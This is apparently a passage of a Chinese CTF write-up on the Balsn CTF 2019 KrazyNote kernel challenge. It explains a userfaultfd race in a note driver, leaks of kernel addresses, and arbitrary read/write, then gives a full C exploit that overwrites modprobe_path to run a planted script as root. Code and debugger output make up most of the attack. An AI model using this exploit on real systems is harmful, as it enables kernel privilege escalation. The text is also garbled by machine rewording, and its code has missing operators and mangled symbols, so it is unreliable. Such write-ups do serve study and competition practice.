    puts("[ ] done 1");
    return NULL;

可以看到,我们先删掉了 note[0],然后又确立了 两个 note,巨细都为0。而这里我们新确立的new_note[0](这里我以 new_note[0]来区分我们最最先确立的 note[0]) 与 note[0]就发生了 内存共用,而 note[1]的 结构体恰好为 note[0]的buf区域,也即我们后续可以通过 edit(note[0])来修改 note[1]结构体的内容。此时内存结构如下:

note_struct         //new_note[0]
note_struct         //note[1]

然后,我们在 handler中,还将 note[0].buf[8]处的值改为了 0xff,而这个地址在 新内存结构中,恰好对应 note[1].length,以是这里 实现了 一个缓冲区溢露马脚。

  1. 泄露数据

完成破绽组织后,接下来我们就要选择泄露数据。

首先,可以行使 note[1]泄露 key,由于此时 note[1]的巨细被改为了 0xff,其原本数据为 0x0,但输出时会举行解密 0^key=key,以是 能够把 key泄露出来。

然后这里后续提权,不管是用到 覆写 cred结构体,照样使用 modprobe_path的方式都必须知道 page_offset_base。由于不管是用 Edit照样 Show函数中,获取当前 note存储数据的地址,都是使用 cotentPtr page_offset_base来获得,如下所示。那么就有一个很主要的点,当我们能修改 contentPtr后,我们就能够 写和泄露 指定地址的值。而条件就是 我们知道 page_offset_base的值。

//Edit
     contentArr1 = (_QWORD *)(*(_QWORD *)(note   16)   page_offset_base);
//Show
      contentArr2 = (_DWORD *)(*(_QWORD *)(note2   16)   page_offset_base);

而这里为了组织一个相符我们目的的 contentPtr,我们需要先泄露当前 准确的 contentPtr值。这点我们很容易做到。只需要再确立一个 New(buffer, 0),那么此时内存结构如下,我们输出 Show(note[1])时,其 buf[0x10]处的值即为 key^contentPtr_note2。

这样我们就把 note[2]的 contentPtr泄露出来了。

note_struct         //new_note[0]
note_struct         //note[1]
note_struct         //note[2]

那么,接下来我们 将 contentPtr - 0x2568,获得 此时 module_base-page_offset_base的值 module_base_off 。这里为什么减去 0x2568,是由于 note[2]真实的 contentPtr位于 note.ko偏移 0x2568处。如下所示:

pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000      //note[0].key   note[0].length
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000      //note[0].contentPtr    note[1],key
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550  //note[1].length   note[1].contentPtr
0xffffffffc021c550:     0xffff8df0c6738000      0x0000000000000000  //note[2].key
0xffffffffc021c560:     0x0000720f0021c568      0x0000000000000000      //note[2].contentPtr
0xffffffffc021c570:     0x0000000000000000      0x0000000000000000

那么接下来,我们只需要用 module_base_off加上 我们想用的 note.ko里的偏移,就能实现对 note.ko 读写。这里,用到了一个十分巧妙地 代码:

.text:00000000000001F7 140 4C 8B 25 12 2A 00 00                          mov     r12, cs:page_offset_base
.text:00000000000001FE 140 4C 03 60 10                                   add     r12, [rax 10h]

再这个代码处,用到了 page_offset_base,而这句代码是将 page_offset_base在 note.ko地基址相对于 0x1fe 的偏移 page_offset_base_offset 赋值给 r12。而 这个 page_offset_base_offset 是程序在动态执行才会被 确定的,以是我们需要 先输出 note.ko 0x1fa的值,如下所示,可以看到前 4字节 0xf9881aa2 就是 page_offset_base_offset。而这里输出 note.ko 0x1fa的方式是 将 note[2].contentPtr改为 module_base_off 0x1fa,如下所示。

pwndbg> x/10xg 0xffffffffc021a000 0x1fa
0xffffffffc021a1fa:     0x1060034cf9881aa2      0xf8c3ff86e8ee8948  //page_offset_base_offset = 0xf9881aa2
0xffffffffc021a20a:     0x8948ee894cea8948      0x8548f8d39c68e8df
0xffffffffc021a21a:     0x4824048b482b74ed      0x31c021e520c50c8b

//leak page_offset_base_offset
pwndbg> x/20xg 0xffffffffc021c520                                 
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550
0xffffffffc021c550:     0x0000000000000000      0x0000000000000004
0xffffffffc021c560:     0x0000720f0021a1fa      0x0000000000000000  //note[2].contentPtr
0xffffffffc021c570:     0x0000000000000000      0x0000000000000000

通过上面的方式获得 page_offset_base_offset后,我们就可以获得note.ko里的 page_offset_base的地址 page_offset_base_addr,其为 module_base_off page_offset_base_offset 0x1fe,这里 还需要加 0x1fe的缘故原由是 这里的 page_offset_base offset是相对 0x1fe地址的,并不是 module_base。然后,我们就可以通过 page_offset_base_addr泄露 page_offset_base了。

pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520:     0xffff8df0c6738000      0x0000000000000000
0xffffffffc021c530:     0x0000720f0021c538      0xffff8df0c6738000
0xffffffffc021c540:     0xffff8df0c67380f0      0x0000720f0021c550
0xffffffffc021c550:     0x0000000000000000      0x0000000000000008
0xffffffffc021c560:     0x0000720ef9a9bca0      0x0000000000000000  //note[2].contentPtr

*RDI  0x7ffd7ec4ff20 —▸ 0x4da0c0 —▸ 0x401de0 ◂— endbr64                               
*RSI  0xffff9e45c021bd58 —▸ 0xffff8df0c0000000 ◂— push   rbx /* 0xf000ff53f000ff53 */   
//page_offset_base=0xffff8df0c0000000

这里,我们获得 page_offset_base后,就可以实现随便地址 读写了。后续提权的方式 可以使用 覆写 cred结构体,也可以使用 覆写modprobe_path。例如,我们通过 爆破遍历 到了 cred的地址,我们需要修改 cred时,需要将 note[2].contentPtr改为 (cred_addr-page_offset_base)^key的值即可。

注重,若是行使覆写 cred结构体,上面的步骤和泄露的数据已经足够。然则若是要行使 modprobe_path来说,则还需要知道 kernel_base。那么我们若何泄露呢?

在已经知道 page_offset_base的情形下, module_base_off-page_offset_base = module_base;

然后,若何泄露 kernel_base?我们可以行使上面泄露 page_offset_base的方式, 这里可以行使 note.ko里 用到 copy_to_user或 copy_from_user的地址,例如下所示:

.text:000000000000006C 140 E8 7F 2B 00 00                                call    _copy_from_user
.text:0000000000000071 140 48 85 C0                                      test    rax, rax

这里挪用了 copy_from_user函数,我们修改 contentPtr为 module_base_off 0x6d,然后泄露获得 copy_from_user_off相对于 0x71的偏移。那么此时 copy_from_user_addr为 module_base 0x71 copy_from_user_off。我们获得 copy_from_user函数的地址后,再减去我们通过静态剖析获得的 copy_from_user相对于 kernel_base的偏移,即可获得 kernel_base的值。

获得 kernel_base之后,就可以根据之前所讲的获得 modprobe_path的方式来获得 modprobe_path地址。

EXP

// gcc -static -pthread exp.c -g -o exp
,define _GNU_SOURCE
,include <stdio.h>
,include <stdlib.h>
,include <unistd.h>
,include <sys/ioctl.h>
,include <string.h>
,include <sys/stat.h>
,include <fcntl.h>
,include <sys/mman.h>
,include <poll.h>
,include <pthread.h>
,include <errno.h>
,include <signal.h>
,include <sys/syscall.h>
,include <sys/types.h>
,include <linux/userfaultfd.h>
,include <pthread.h>
,include <poll.h>
,include <sys/prctl.h>
,include <stdint.h>

typedef struct noteRequest{
    size_t idx;
    size_t length;
    char* buf;
}NoteReq;

int fd;
char buffer[0x1000] = { 0 };
size_t fault_ptr;
void init(){
    fd = open("/dev/note", 0);
    if (fd < 0){
        printf("open fd errorn");
        exit(-1);
    }
    puts("Open device okn");
}

void New(char*buf, uint8_t length){
    NoteReq req;
    req.length = length;
    req.buf = buf;
    if(-1 == ioctl(fd, -256, &req)){
        puts("New errorn");
        exit(-1);
    }
}

void Edit(uint8_t idx, char* buf, uint8_t len){
    NoteReq req;
    req.idx = idx;
    req.length = len;
    req.buf = buf;
    if(-1 == ioctl(fd, -255, &req)){
        puts("Edit errn");
        exit(-1);
    }
}

void Show(uint8_t idx, char* buf){
    NoteReq req;
    req.idx = idx;
    req.buf = buf;
    if(-1 == ioctl(fd, -254, &req)){
        puts("Show errn");
        exit(-1);
    }
}

void Delete(){
    NoteReq req;
    if(-1 == ioctl(fd, -253, &req)){
        puts("Delete errn");
        exit(-1);
    }
}

void* handler(void *arg){
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[ ] Handler created");

    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)  // 这会一直守候,直到copy_from_user接见FAULT_PAGE
        {
        puts("wrong pool returnn");
        exit(-1);
    }   
    printf("[ ] Begin handlern");

    //here, we can write our own code
    Delete();
    New(buffer, 0);     //note[0]
    New(buffer, 0);     //note[1]

    buffer[8]=0xff; //change note[1].length

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用
    {
        puts("uffd read errn");
        exit(-1);
    }    

    struct uffdio_copy uc;
    memset(buffer, 0, sizeof(buffer));
    buffer[8] = 0xf0; //把note1 的length改成0xf0

    uc.src = (unsigned long)buffer;
    uc.dst = (unsigned long)fault_ptr;
    uc.len = 0x1000;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复执行copy_from_user

    puts("[ ] handle finished");
    return NULL;    

}

size_t register_userfault(){
   long uffd;        
   char *addr;       
   size_t len = 0x1000;
   pthread_t thr; 
   struct uffdio_api uffdio_api;
   struct uffdio_register uffdio_register;
   int s;
   uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   if (uffd == -1)
   {
       puts("userfaultfdn");
       exit(-1);
   }


   uffdio_api.api = UFFD_API;
   uffdio_api.features = 0;
   if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)      // create the user fault fd
   {
       puts("ioctl uffd errn");
       exit(-1);
   }
   addr = mmap(NULL, len, PROT_READ | PROT_WRITE,       //create page used for user fault
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (addr == MAP_FAILED)
   {
       puts("map errn");
       exit(-1);
   }

   printf("Address returned by mmap() = %pn", addr);
   uffdio_register.range.start = (size_t) addr;
   uffdio_register.range.len = len;
   uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处置fd,这样只要copy_from_user
//                                       //接见到FAULT_PAGE,则接见被挂起,uffd会吸收到信号
   {
       puts("ioctl register errn");
       exit(-1);
   }

   s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数举行访存错误处置
   if (s != 0) {
       errno = s;
        puts("pthread create errn");
       exit(-1);
   }
   return addr;
}

int main()
{
    system("echo -ne ',!/bin/shn/bin/cp /flag /home/note/flagn/bin/chmod 777 /home/note/flag' > /home/note/getflag.sh");
    system("chmod  x /home/note/getflag.sh");
    system("echo -ne '\xff\xff\xff\xff' > /home/note/ll");
    system("chmod  x /home/note/ll");
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    init();
    New(buffer, 0x10);

    fault_ptr = register_userfault();
    Edit(0, fault_ptr, 0x10);

    Show(1, buffer);
    size_t key = *(size_t*)buffer;
    printf("key is 0x%lxn",key);

    New(buffer, 0x0);   //note[2]
    Show(1, buffer);

    //leak module_base_off
    size_t note2ContPtr = *(size_t*)(buffer 0x10)^key;
    size_t module_base_off = note2ContPtr - 0x2568;
    printf("note2ContPtr: 0x%lx nmodule_base_off: 0x%lxn",note2ContPtr, module_base_off);

    unsigned long* fake_note = (unsigned long*)buffer;
    fake_note[0] = key^0;
    fake_note[1] = 4^key;
    fake_note[2] = (module_base_off 0x1fa)^key;

    Edit(1, fake_note, 0x18);
    //leak page_offset_base_offset
    int page_offset_base_offset = 0;
    Show(2, (char*)&page_offset_base_offset);
    printf("page_offset_base_offset: %xn", page_offset_base_offset);

    size_t page_offset_base_addr = page_offset_base_offset   module_base_off   0x1fe;
    printf("page_offset_base_addr: 0x%lxn", page_offset_base_addr);

    //leak page_offset_base
    fake_note[0] = key^0;
    fake_note[1] = 0x8^key;
    fake_note[2] = page_offset_base_addr^key;
    Edit(1, fake_note, 0x18);
    size_t page_offset_base = 0;
    Show(2, (char*)&page_offset_base);
    printf("page_offset_base: 0x%lxn", page_offset_base);

    size_t module_base = module_base_off   page_offset_base;
    printf("module_base: 0x%lxn", module_base);

    //leak module_base
    fake_note[0] = key^0;
    fake_note[1] = 0x4^key;
    fake_note[2] = (module_base_off 0x6d)^key;
    Edit(1, fake_note, 0x18);
    int copy_from_user_off = 0;
    Show(2, (char*)&copy_from_user_off);
    printf("copy_from_user_off: 0x%xn", copy_from_user_off);

    size_t copy_from_user_addr = copy_from_user_off 0x71 module_base;
    size_t kernel_base = copy_from_user_addr - (0xae553e80-0xae200000);
    printf("copy_from_user_addr: 0x%lxn kernel_base: 0x%lxn",copy_from_user_addr, kernel_base);

    size_t modprobe_path = kernel_base   (0xb1c5e0e0 - 0xb0c00000);
    printf("modprobe_path: 0x%lxn", modprobe_path);

    char* buf = malloc(0x50);
    memset(buf, 'x00', 0x50);
    strcpy(buf, "/home/note/getflag.sh");
    //change modprobe_path
    fake_note[0] = key^0;
    fake_note[1] = 0x50^key;
    fake_note[2] = (modprobe_path-page_offset_base)^key;
    Edit(1, fake_note, 0x18);

    Edit(2, buf, 0x50);
    system("/home/note/ll");
    system("cat /home/note/flag");
    return 0;
}

参考

【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote
Linux Kernel Userfaultfd 内部机制探讨
userfaultfd(2) — Linux manual page

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片